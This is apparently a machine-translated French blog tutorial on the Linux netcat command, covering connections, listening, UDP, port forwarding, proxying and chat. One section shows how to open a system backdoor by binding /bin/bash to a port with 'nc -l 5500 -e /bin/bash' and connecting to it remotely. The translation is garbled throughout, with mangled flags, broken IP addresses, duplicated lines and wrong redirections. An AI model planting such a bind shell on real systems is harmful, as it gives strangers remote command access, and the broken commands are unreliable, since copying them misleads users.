la commande NC est destinée à effectuer des tâches de maintenance/diagnostic liées au réseau . Il peut effectuer des opérations telles que la lecture, l’écriture ou les redirections de données sur le réseau, de la même manière que vous pouvez utiliser la commande cat pour manipuler des fichiers sur le système Linux. La commande Nc peut être utilisée comme utilitaire pour analyser les ports, surveiller ou peut également agir comme proxy TCP de base.
les organisations peuvent l’utiliser pour examiner la sécurité de leur réseau, serveurs web, serveurs telnet, Serveurs de messagerie, etc., en vérifiant les ports ouverts, puis en les sécurisant., NC commande peut également être utilisée pour capturer des informations envoyées par le système.
lecture recommandée : Top 7 commandes pour la surveillance du trafic réseau Linux
lire aussi : commandes PostgreSQL importantes que vous devriez savoir
maintenant, discutons comment nous pouvons utiliser la commande NC avec quelques exemples,
exemples pour la commande NC
Se connecter à un serveur distant
pour le serveur distant avec la commande NC,
$ NC 10.10.10.100 80
ici, 10.10.10.,100 est L’adresse IP du serveur auquel nous voulons nous connecter & 80 est le numéro de port du serveur distant. Une fois connecté, nous pouvons effectuer d’autres fonctions comme obtenir le contenu total de la page avec
GET/HTTP/1.1
ou récupérer le nom de la page,
GET/HTTP/1.1
ou obtenir une bannière pour les empreintes digitales du système D’exploitation avec ce qui suit,
HEAD/HTTP/1.1
version est utilisé pour exécuter le serveur web.,
Écoutez les demandes de connexion entrantes
pour vérifier un serveur pour une demande de connexion entrante sur un numéro de port, utilisez l’exemple suivant
$ nc-L 8080
maintenant, NC est en mode écoute pour vérifier le port 8080 pour les demandes de connexion entrantes. Maintenant, le mode d’écoute continuera à fonctionner, jusqu’à ce qu’il soit terminé manuellement. Mais nous pouvons aborder cette option ‘ w ‘ pour NC,
$ nc-w 10 8080
ici, 10 signifie que NC écoutera les connexions pendant 10 secondes seulement.,
connexion aux ports UDP
par défaut, nous pouvons nous connecter aux ports TCP avec NC mais pour écouter la demande entrante faite aux ports UDP, nous devons utiliser l’option ‘u’,
$ nc-l-u 55
en utilisant NC pour la redirection de Port
avec l’option ‘c’ Exemple complet est,
$ nc-u -l-8080 -c ‘nc-u -l 8090’
ici, nous avons transmis toutes les demandes entrantes de port 8080 vers le port 8090.
utiliser NC comme serveur Proxy
Pour utiliser la commande NC comme proxy, utilisez <| p>
$ nc – L 8080 / nc 10.10.10.,200 80
ici, toutes les connexions entrantes vers le port 8080 seront déviées vers le serveur 10.10.10.200 sur le port 80.
Maintenant, avec la commande ci-dessus, nous avons créé un passage. Pour créer un couloir ou 2 canal de communication, utiliser les commandes suivantes,
$ mkfifo 2way
$ nc – l-8080 0<2way | nc 10.10.10.200 80 1>2
Maintenant, vous aurez ont la capacité d’envoyer et obtenir des informations sur nc proxy.,
utilisation de NC comme outil de chat
Un autre utilitaire que la commande NC peut servir est un outil de chat. Oui, nous pouvons également l’utiliser comme chat. Pour le créer, exécutez d’abord la commande suivante sur un serveur,
Than nc – L 8080
que de se connecter sur une machine distante, exécutez
$ nc 10.10.10.100 8080
maintenant, nous pouvons commencer la conversation en utilisant le terminal/CLI.
utiliser NC pour créer une porte dérobée système
maintenant, celui-ci est L’application la plus courante de NC& est principalement utilisé par les pirates beaucoup., Fondamentalement, cela crée une porte dérobée au système qui peut être exploitée par des pirates (vous ne devriez pas le faire, c’est faux).
Il faut en être conscient pour se prémunir contre ce genre d’exploits.
la commande suivante peut être utilisée pour créer une porte dérobée,
$ nc-l 5500-e /bin/bash
ici, nous avons attaché le port 5500 à /bin/bash, qui peut maintenant être connecté à partir d’une machine distante pour exécuter les commandes,
$ nc 10.10.10.100 5500
essera d’écouter la connexion une fois qu’une connexion client a été terminée., Mais avec l’option ‘k’, nous pouvons forcer un serveur à rester en cours d’exécution, même lorsqu’aucun client n’est connecté.
$ nc-L-k 8080
Nous terminons maintenant ce tutoriel sur la façon d’utiliser la commande NC, n’hésitez pas à envoyer toutes les questions ou requêtes que vous avez concernant cet article.,
si vous pensez que nous vous avons aidé ou que vous souhaitez simplement nous soutenir, veuillez considérer ces éléments:-
connectez-vous à nous: Facebook | Twitter/Google Plus
Donnez-nous une partie de votre argent durement gagné:
Linux TechLab est reconnaissant pour votre soutien continu.